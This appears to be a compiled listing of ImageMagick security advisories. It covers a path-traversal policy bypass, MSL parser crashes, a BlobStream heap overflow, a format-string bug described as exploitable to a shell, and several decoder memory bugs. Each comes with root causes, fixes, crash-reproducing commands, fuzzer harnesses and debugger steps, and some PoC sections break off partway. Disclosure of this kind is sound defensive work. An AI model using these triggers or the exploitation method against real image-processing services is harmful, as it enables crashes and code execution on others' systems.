ImageMagick: Policy bypass through path traversal allows reading restricted content despite secured policy ImageMagick’s path security policy is enforced on the raw filename string before the filesystem resolves it. As a result, a policy rule such as /etc/* can be bypassed by a path traversal. The OS resolves the traversal and opens the sensitive file, but the policy matcher only sees the unnormalized path and therefore allows the read. This enables local file disclosure (LFI) even when policy-secure.xml is applied. Actions to prevent reading from files have been taken. But it make sure writing is also not possible the following should be added to your policy: ``` <policy domain="path" rights="none" pattern="*../*"/> ``` And this will also be included in the project's more secure policies by default. |

ImageMagick has a NULL pointer dereference in MSL parser via <comment> tag before image load ## Summary NULL pointer dereference in MSL (Magick Scripting Language) parser when processing `<comment>` tag before any image is loaded. ## Version - ImageMagick 7.x (tested on current main branch) - Commit: HEAD ## Steps to Reproduce ### Method 1: Using ImageMagick directly ```bash magick MSL:poc.msl out.png ``` ### Method 2: Using OSS-Fuzz reproduce ```bash python3 infra/helper.py build_fuzzers imagemagick python3 infra/helper.py reproduce imagemagick msl_fuzzer poc.msl ``` Or run the fuzzer directly: ```bash ./msl_fuzzer poc.msl ``` ## Expected Behavior ImageMagick should handle the malformed MSL gracefully and return an error message. ## Actual Behavior ``` convert: MagickCore/property.c:297: MagickBooleanType DeleteImageProperty(Image *, const char *): Assertion `image != (Image *) NULL' failed. Aborted ``` ## Root Cause Analysis In `coders/msl.c:7091`, `MSLEndElement()` calls `DeleteImageProperty()` on `msl_info->image[n]` when handling the `</comment>` end tag without checking if the image is NULL: ```c if (LocaleCompare((const char *) tag,"comment") == 0 ) { (void) DeleteImageProperty(msl_info->image[n],"comment"); // No NULL check ... } ``` When `<comment>` appears before any `<read>` operation, `msl_info->image[n]` is NULL, causing the assertion failure in `DeleteImageProperty()` at `property.c:297`. ## Impact - **DoS**: Crash via assertion failure (debug builds) or NULL pointer dereference (release builds) - **Affected**: Any application using ImageMagick to process user-supplied MSL files ## Fuzzer This issue was discovered using a custom MSL fuzzer: ```cpp #include <cstdint> #include <Magick++/Blob.h> #include <Magick++/Image.h> #include "utils.cc" extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { if (IsInvalidSize(Size)) return(0); try { const Magick::Blob blob(Data, Size); Magick::Image image; image.magick("MSL"); image.fileName("MSL:"); image.read(blob); } catch (Magick::Exception) { } return(0); } ``` This issue was found by Team FuzzingBrain @ Texas A&M University |

ImageMagick BlobStream Forward-Seek Under-Allocation **Reporter:** Lumina Mescuwa **Product:** ImageMagick 7 (MagickCore) **Component:** `MagickCore/blob.c` (Blob I/O - BlobStream) **Tested:** 7.1.2-0 (source tag) and 7.1.2-1 (Homebrew), macOS arm64, clang-17, Q16-HDRI **Impact:** Heap out-of-bounds **WRITE** (attacker-controlled bytes at attacker-chosen offset) → memory corruption; potential code execution --- ## Executive Summary For memory-backed blobs (**BlobStream**), [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) permits advancing the stream **offset** beyond the current end without increasing capacity. The subsequent [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) then expands by **`quantum + length`** (amortized) instead of **`offset + length`**, and copies to `data + offset`. When `offset ≫ extent`, the copy targets memory beyond the allocation, producing a deterministic heap write on 64-bit builds. No 2⁶⁴ arithmetic wrap, external delegates, or policy settings are required. --- ## Affected Scope - **Versions confirmed:** 7.1.2-0, 7.1.2-1 - **Architectures:** Observed on macOS arm64; architecture-agnostic on LP64 - Paths: MagickCore blob subsystem — **BlobStream** ([`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) and [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938)). - **Not required:** External delegates; special policies; integer wraparound --- ## Technical Root Cause **Types (LP64):** `offset: MagickOffsetType` (signed 64-bit) `extent/length/quantum: size_t` (unsigned 64-bit) `data: unsigned char*` **Contract mismatch:** - [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) (BlobStream) updates `offset` to arbitrary positions, including past end, **without** capacity adjustment. - [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) tests `offset + length >= extent` and grows **by** `length + quantum`, doubles `quantum`, reallocates to `extent + 1`, then: ``` q = data + (size_t)offset; memmove(q, src, length); ``` There is **no guarantee** that `extent ≥ offset + length` post-growth. With `offset ≫ extent`, `q` is beyond the allocation. **Wrap-free demonstration:** Initialize `extent=1`, write one byte (`offset=1`), seek to `0x10000000` (256 MiB), then write 3–4 bytes. Growth remains << `offset + length`; the copy overruns the heap buffer. --- ## Exploitability & Reachability - **Primitive:** Controlled bytes written at a controlled displacement from the buffer base. - **Reachability:** Any encode-to-memory flow that forward-seeks prior to writing (e.g., header back-patching, reserved-space strategies). Even if current encoders/writers avoid this, the API contract **permits** it, thus creating a latent sink for first- or third-party encoders/writers. - **Determinism:** Once a forward seek past end occurs, the first subsequent write reliably corrupts memory. --- ## Impact Assessment - **Integrity:** High - adjacent object/metadata overwrite plausible. - **Availability:** High - reliably crashable (ASan and non-ASan). - **Confidentiality:** High - Successful exploitation to RCE allows the attacker to read all data accessible by the compromised process. - **RCE plausibility:** Typical of heap OOB writes in long-lived image services; allocator/layout dependent. --- ## CVSS v3.1 Rationale (9.8) - **AV:N / PR:N / UI:N** - server-side image processing is commonly network-reachable without auth or user action. - **AC:L** - a single forward seek + write suffices; no races or specialized state. - **S:U** - corruption localized to the ImageMagick process. - **C:H / I:H / A:H** - A successful exploit leads to RCE, granting full control over the process. This results in a total loss of Confidentiality (reading sensitive data), Integrity (modifying files/data), and Availability (terminating the service). _Base scoring assumes successful exploitation; environmental mitigations are out of scope of Base metrics._ --- ## Violated Invariant > **Before copying `length` bytes at `offset`, enforce `extent ≥ offset + length` with overflow-checked arithmetic.** The BlobStream growth policy preserves amortized efficiency but fails to enforce this **per-write** safety invariant. --- ## Remediation (Principle) In [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) (BlobStream case): 1. **Checked requirement:** `need = (size_t)offset + length;` → if `need < (size_t)offset`, overflow → fail. 2. **Ensure capacity ≥ need:** `target = MagickMax(extent + quantum + length, need);` (Optionally loop, doubling `quantum`, until `extent ≥ need` to preserve amortization.) 3. **Reallocate to `target + 1` before copying;** then perform the move. **Companion hardening (recommended):** - Document or restrict [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) on BlobStream so forward seeks either trigger explicit growth/zero-fill or require the subsequent write to meet the invariant. - Centralize blob arithmetic in checked helpers. - Unit tests: forward-seek-then-write (success and overflow-reject). --- ## Regression & Compatibility - **Behavior change:** Forward-seeked writes will either allocate to required size or fail cleanly (overflow/alloc-fail). - **Memory profile:** Single writes after very large seeks may allocate large buffers; callers requiring sparse behavior should use file-backed streams. --- ## Vendor Verification Checklist - Reproduce with a minimal in-memory BlobStream harness under ASan. - Apply fix; verify `extent ≥ offset + length` at all write sites. - Add forward-seek test cases (positive/negative). - Audit other growth sites (`SetBlobExtent`, stream helpers). - Clarify BlobStream seek semantics in documentation. - Unit test: forward seek to large offset on **BlobStream** followed by 1–8 byte writes; assert either growth to `need` or clean failure. --- # PoC / Reproduction / Notes ## Environment - **OS/Arch:** macOS 14 (arm64) - **Compiler:** clang-17 with AddressSanitizer - **ImageMagick:** Q16-HDRI - **Prefix:** `~/opt/im-7.1.2-0` - **`pkg-config`:** from PATH (no hard-coded `/usr/local/...`) --- ## Build ImageMagick 7.1.2-0 (static, minimal) ```bash ./configure --prefix="$HOME/opt/im-7.1.2-0" --enable-hdri --with-quantum-depth=16 \ --disable-shared --enable-static --without-modules \ --without-magick-plus-plus --disable-openmp --without-perl \ --without-x --without-lqr --without-gslib make -j"$(sysctl -n hw.ncpu)" make install "$HOME/opt/im-7.1.2-0/bin/magick" -version > magick_version.txt ``` --- ## Build & Run the PoC (memory-backed BlobStream) **`poc.c`:** _Uses private headers (`blob-private.h`) to exercise blob internals; a public-API variant (custom streams) is feasible but unnecessary for triage._ ```c // poc.c #include <stdio.h> #include <stdlib.h> #include <MagickCore/MagickCore.h> #include <MagickCore/blob.h> #include "MagickCore/blob-private.h" int main(int argc, char **argv) { MagickCoreGenesis(argv[0], MagickTrue);

ASan alone is sufficient. ``` lldb ./poc (lldb) settings set use-color false (lldb) break set -n WriteBlob (lldb) run # First stop (prime write) (lldb) frame var length (lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped (lldb) continue # Second stop (post-seek write) (lldb) frame var length (lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped (lldb) expr -- (unsigned long long)image->blob->offset + (unsigned long long)length (lldb) expr -- (void*)((unsigned char*)image->blob->data + (size_t)image->blob->offset) # Into the fault; if inside memmove (no locals): (lldb) bt (lldb) frame select 1 (lldb) frame var image->blob->offset image->blob->length image->blob->extent image->blob->quantum ``` **Expected at second stop:** `type = BlobStream` · `offset ≈ 0x10000000` (256 MiB) · `length ≈ 3–4` · `extent ≈ 64 KiB` (≪ `offset + length`) · `quantum ≈ 128 KiB` · `mapped = MagickFalse` · `data + offset` far beyond base; next `continue` crashes in `_platform_memmove`. --- ## Credits **Reported by:** Lumina Mescuwa --- |

ImageMagick has a Format String Bug in InterpretImageFilename leads to arbitrary code execution ## Summary A format string bug vulnerability exists in `InterpretImageFilename` function where user input is directly passed to `FormatLocaleString` without proper sanitization. An attacker can overwrite arbitrary memory regions, enabling a wide range of attacks from heap overflow to remote code execution. <br> ## Details ### root cause ``` MagickExport size_t InterpretImageFilename(const ImageInfo *image_info, Image *image,const char *format,int value,char *filename, ExceptionInfo *exception) { ... while ((cursor=strchr(cursor,'%')) != (const char *) NULL) { const char *q = cursor; ssize_t offset = (ssize_t) (cursor-format); cursor++; /* move past '%' */ if (*cursor == '%') { /* Escaped %%. */ cursor++; continue; } /* Skip padding digits like %03d. */ if (isdigit((int) ((unsigned char) *cursor)) != 0) (void) strtol(cursor,(char **) &cursor,10); switch (*cursor) { case 'd': case 'o': case 'x': { ssize_t count; count=FormatLocaleString(pattern,sizeof(pattern),q,value); if ((count <= 0) || (count >= MagickPathExtent) || ((offset+count) >= MagickPathExtent)) return(0); (void) CopyMagickString(p+offset,pattern,(size_t) (MagickPathExtent- offset)); cursor++; break; } ``` When the InterpretImageFilename function processes a filename beginning with format specifiers such as %d, %o, or %x, the filename string is directly passed as a parameter to the FormatLocaleString function. <br> ``` MagickExport ssize_t FormatLocaleString(char *magick_restrict string, const size_t length,const char *magick_restrict format,...) { ssize_t n; va_list operands; va_start(operands,format); n=FormatLocaleStringList(string,length,format,operands); va_end(operands); return(n); } ``` ``` MagickPrivate ssize_t FormatLocaleStringList(char *magick_restrict string, const size_t length,const char *magick_restrict format,va_list operands) { ... n=(ssize_t) _vsnprintf_l(string,length,format,locale,operands); ``` Inside FormatLocaleString, the variable argument list is initialized through va_start, after which the format string processing occurs by interpreting the format specifiers and using corresponding values from CPU registers and the call stack as arguments for the formatting operations. <br> ## PoC ### 1.

The payload systematically overwrites return addresses on the stack, redirecting program execution to a one-gadget ROP chain that spawns a shell with the current process privileges. <br> **Exploitation Process:** 1. Format string payload corrupts stack pointers through positional parameters 2. Multiple 2-byte writes (%hn) progressively overwrite the return address 3. Final payload redirects execution to a one-gadget (0x00007ffff66ebc85) 4. One-gadget executes `/bin/sh` with inherited process permissions <br> **Remote Exploitation Feasibility:** While this PoC demonstrates local shell execution with ASLR disabled, remote code execution is achievable in real-world scenarios through brute force attacks. When stack layout conditions are favorable, attackers can perform 1.5-byte return address brute force and 1.5-byte libc base address brute force to gain shell access. <br> **Important:** The numeric parameters within the format string payload are environment-dependent and may require modification for different target systems due to variations in memory layout and stack structure. **Note:** This demonstrates complete system compromise, as the attacker gains interactive shell access to the target system. <br> ## Impact This format string vulnerability enables attackers to achieve complete system compromise through arbitrary memory read/write operations and remote code execution. Attackers can access sensitive data stored in process memory, overwrite critical system structures, and execute arbitrary code with ImageMagick's privileges. The vulnerability is particularly dangerous in web applications processing user-uploaded images and automated image processing systems. Successful exploitation can lead to privilege escalation, data exfiltration, and lateral movement within compromised networks. <br> ## Suggested Fix Two potential mitigation approaches: 1. **Input Validation**: Add format string validation in `InterpretImageFilename` to reject filenames containing format specifiers (`%n`, `%s`, `%x`, etc.) before passing to `FormatLocaleString` 2. **Safe Parsing**: Modify the format string processing to parse and validate each format specifier individually rather than passing the entire user-controlled string directly to `FormatLocaleString` <br> ## Credits ### Team Daemon Fuzz Hunters **Bug Hunting Master Program, HSpace/Findthegap** <br> **Woojin Park** @jin-156 [1203kids@gmail.com](mailto:1203kids@gmail.com) **Hojun Lee** @leehohojune [leehojune@korea.ac.kr](mailto:leehojune@korea.ac.kr) **Youngin Won** @amethyst0225 [youngin04@korea.ac.kr](mailto:youngin04@korea.ac.kr) **Siyeon Han** @hanbunny [kokosyeon@gmail.com](mailto:kokosyeon@gmail.com) # Additional notes from the ImageMagick team: On many modern toolchains and OSes, format‑string exploits using %n are already mitigated or blocked by default (e.g., -Wformat-security, _FORTIFY_SOURCE, hardened libc behavior, ASLR/stack canaries). That can make exploitation impractical in typical builds so you might not be vulnerable but it would still be wise to upgrade to the most recent version. We also already provide the following mitigation: To prevent unintended interpretation of the filename as a format string, users can explicitly disable format string parsing by defining the filename as a literal. This can be done using the following directive: - In wrappers: `filename:literal` - From the command line: `-define filename:literal=true` |

ImageMagick has Heap Out-of-Bounds Read in DCM Decoder (ReadDCMImage) A heap out-of-bounds read vulnerability exists in the `coders/dcm.c` module. When processing DICOM files with a specific configuration, the decoder loop incorrectly reads bytes per iteration. This causes the function to read past the end of the allocated buffer, potentially leading to a Denial of Service (crash) or Information Disclosure (leaking heap memory into the image). |

Withdrawn Advisory: ImageMagick has a use-after-free/double-free risk in Options::fontFamily when clearing family ## Withdrawn Advisory This advisory has been withdrawn because it does not affect the ImageMagick project's NuGet packages. ### Original Description We believe that we have discovered a potential security vulnerability in ImageMagick’s Magick++ layer that manifests when `Options::fontFamily` is invoked with an empty string. **Vulnerability Details** - Clearing a font family calls `RelinquishMagickMemory` on `_drawInfo->font`, freeing the font string but leaving `_drawInfo->font` pointing to freed memory while `_drawInfo->family` is set to that (now-invalid) pointer. Any later cleanup or reuse of `_drawInfo->font` re-frees or dereferences dangling memory. - `DestroyDrawInfo` and other setters (`Options::font`, `Image::font`) assume `_drawInfo->font` remains valid, so destruction or subsequent updates trigger crashes or heap corruption. ```cpp if (family_.length() == 0) { _drawInfo->family=(char *) RelinquishMagickMemory(_drawInfo->font); DestroyString(RemoveImageOption(imageInfo(),"family")); } ``` - **CWE-416 (Use After Free):** `_drawInfo->font` is left dangling yet still reachable through the Options object. - **CWE-415 (Double Free):** DrawInfo teardown frees `_drawInfo->font` again, provoking allocator aborts. **Affected Versions** - Introduced by commit `6409f34d637a34a1c643632aa849371ec8b3b5a8` (“Added fontFamily to the Image class of Magick++”, 2015-08-01, blame line 313). - Present in all releases that include that commit, at least ImageMagick 7.0.1-0 and later (likely late 6.9 builds with Magick++ font family support as well). Older releases without `fontFamily` are unaffected. **Command Line Triggerability** This vulnerability cannot be triggered from the command line interface. The bug is specific to the Magick++ C++ API, specifically the `Options::fontFamily()` method. The command-line utilities (such as `convert`, `magick`, etc.) do not expose this particular code path, as they operate through different internal mechanisms that do not directly call `Options::fontFamily()` with an empty string in a way that would trigger the use-after-free condition. **Proposed Fix** ```diff diff --git a/Magick++/lib/Options.cpp b/Magick++/lib/Options.cpp @@ void Magick::Options::fontFamily(const std::string &family_) - _drawInfo->family=(char *) RelinquishMagickMemory(_drawInfo->font); + _drawInfo->family=(char *) RelinquishMagickMemory(_drawInfo->family); ``` This frees only the actual family string, leaving `_drawInfo->font` untouched. Optionally nulling `_drawInfo->font` when clearing `font()` itself maintains allocator hygiene. |

ImageMagick affected by divide-by-zero in ThumbnailImage via montage -geometry ":" leads to crash ## Summary Passing a geometry string containing only a colon (":") to montage -geometry leads GetGeometry() to set width/height to 0. Later, ThumbnailImage() divides by these zero dimensions, triggering a crash (SIGFPE/abort), resulting in a denial of service. ## Details **Root Cause** 1. `montage -geometry ":" ...` reaches `MagickCore/geometry.c:GetGeometry().` 2. `StringToDouble/InterpretLocaleValue` parses `":"` as `0.0;` then: https://github.com/ImageMagick/ImageMagick/blob/0ba1b587be17543b664f7ad538e9e51e0da59d17/MagickCore/geometry.c#L355 `WidthValue` (and/or `HeightValue)` is set with a zero dimension. 3. In MagickCore/resize.c:ThumbnailImage(), the code computes: https://github.com/ImageMagick/ImageMagick/blob/0ba1b587be17543b664f7ad538e9e51e0da59d17/MagickCore/resize.c#L4625-L4629 causing a division by zero and immediate crash. The issue is trivially triggerable without external input files (e.g., using `xc:white`). ### Reproduction Environment ``` Version: ImageMagick 7.1.2-1 (Beta) Q16-HDRI x86_64 0ba1b587b:20250812 https://imagemagick.org Features: Cipher DPC HDRI Delegates (built-in): bzlib fontconfig freetype jbig jng jpeg lcms lzma pangocairo png tiff x xml zlib Compiler: clang (14.0.0) OS/Arch: Linux x86_64 ``` Steps ``` ./bin/magick montage -geometry : xc:white null: ``` Observed result ``` IOT instruction (core dumped) # (Environment-dependent: SIGFPE/abort may be observed.) ``` ## PoC No external file required; the pseudo image xc:white suffices: ``` ./bin/magick montage -geometry : xc:white null: ``` ## Impact - **Denial of Service:** A divide-by-zero in `ThumbnailImage()` causes immediate abnormal termination (e.g., SIGFPE/abort), crashing the ImageMagick process. ## Suggested fix Defensively reject zero dimensions early in `ThumbnailImage()`: ```c if ((columns == 0) || (rows == 0)) { (void) ThrowMagickException(exception, GetMagickModule(), OptionError, "InvalidGeometry", "thumbnail requires non-zero dimensions: %.20gx%.20g", (double) columns, (double) rows); return (Image *) NULL; } ``` Additionally, consider tightening validation in `GetGeometry()` so that colon-only (and similar malformed) inputs do not yield `WidthValue/HeightValue` with zero, or are rejected outright. Variants like `"x:"` or `":x"` may also need explicit handling (maintainer confirmation requested). ## Credits ### Team Daemon Fuzz Hunters **Bug Hunting Master Program, HSpace/Findthegap** <br> **Woojin Park** @jin-156 [1203kids@gmail.com](mailto:1203kids@gmail.com) **Hojun Lee** @leehohojune [leehojune@korea.ac.kr](mailto:leehojune@korea.ac.kr) **Youngin Won** @amethyst0225 [youngin04@korea.ac.kr](mailto:youngin04@korea.ac.kr) **Siyeon Han** @hanbunny [kokosyeon@gmail.com](mailto:kokosyeon@gmail.com) |

ImageMagick MSL: Stack overflow via infinite recursion in ProcessMSLScript ## Summary Stack overflow via infinite recursion in MSL (Magick Scripting Language) `<write>` command when writing to MSL format. ## Version - ImageMagick 7.x (tested on current main branch) - Commit: HEAD - Requires: libxml2 support (for MSL parsing) ## Steps to Reproduce ### Method 1: Using ImageMagick directly ```bash magick MSL:recursive.msl out.png ``` ### Method 2: Using OSS-Fuzz reproduce ```bash python3 infra/helper.py build_fuzzers imagemagick python3 infra/helper.py reproduce imagemagick msl_fuzzer recursive.msl ``` Or run the fuzzer directly: ```bash ./msl_fuzzer recursive.msl ``` ## Expected Behavior ImageMagick should handle recursive MSL references gracefully by detecting the loop and returning an error. ## Actual Behavior Stack overflow causes process crash: ``` AddressSanitizer:DEADLYSIGNAL ==PID==ERROR: AddressSanitizer: stack-overflow #0 MSLStartElement /src/imagemagick/coders/msl.c:7045 #1 xmlParseStartTag /src/libxml2/parser.c #2 xmlParseChunk /src/libxml2/parser.c:11273 #3 ProcessMSLScript /src/imagemagick/coders/msl.c:7405 #4 WriteMSLImage /src/imagemagick/coders/msl.c:7867 #5 WriteImage /src/imagemagick/MagickCore/constitute.c:1346 #6 MSLStartElement /src/imagemagick/coders/msl.c:7045 ... (infinite recursion, 287+ frames) ``` ## Root Cause Analysis In `coders/msl.c`, the `<write>` command handler in `MSLStartElement()` (line ~7045) calls `WriteImage()`. When the output filename specifies MSL format (`msl:filename`), `WriteMSLImage()` is called, which parses the MSL file again via `ProcessMSLScript()`. If the MSL file references itself (directly or indirectly), this creates an infinite recursion loop: ``` MSLStartElement() → WriteImage() → WriteMSLImage() → ProcessMSLScript() → xmlParseChunk() → MSLStartElement() → ... (infinite loop) ``` ## Impact - **DoS**: Guaranteed crash via stack exhaustion - **Affected**: Any application using ImageMagick to process user-supplied MSL files ## Additional Trigger Paths The `<read>` command can also trigger recursion: Indirect recursion is also possible (a.msl → b.msl → a.msl). ## Fuzzer This issue was discovered using a custom MSL fuzzer: ```cpp #include <cstdint> #include <Magick++/Blob.h> #include <Magick++/Image.h> #include "utils.cc" extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { if (IsInvalidSize(Size)) return(0); try { const Magick::Blob blob(Data, Size); Magick::Image image; image.magick("MSL"); image.fileName("MSL:"); image.read(blob); } catch (Magick::Exception) { } return(0); } ``` This issue was found by Team FuzzingBrain @ Texas A&M University |

ImageMagick is vulnerable to an integer Overflow in TIM decoder leading to out of bounds read (32-bit only) The TIM (PSX TIM) image parser in ImageMagick contains a critical integer overflow vulnerability in the `ReadTIMImage` function (`coders/tim.c`). The code reads `width` and `height` (16-bit values) from the file header and calculates `image_size = 2 * width * height` without checking for overflow. On 32-bit systems (or where `size_t` is 32-bit), this calculation can overflow if `width` and `height` are large (e.g., 65535), wrapping around to a small value. This results in a small heap allocation via `AcquireQuantumMemory` and later operations relying on the dimensions can trigger an out of bounds read. |
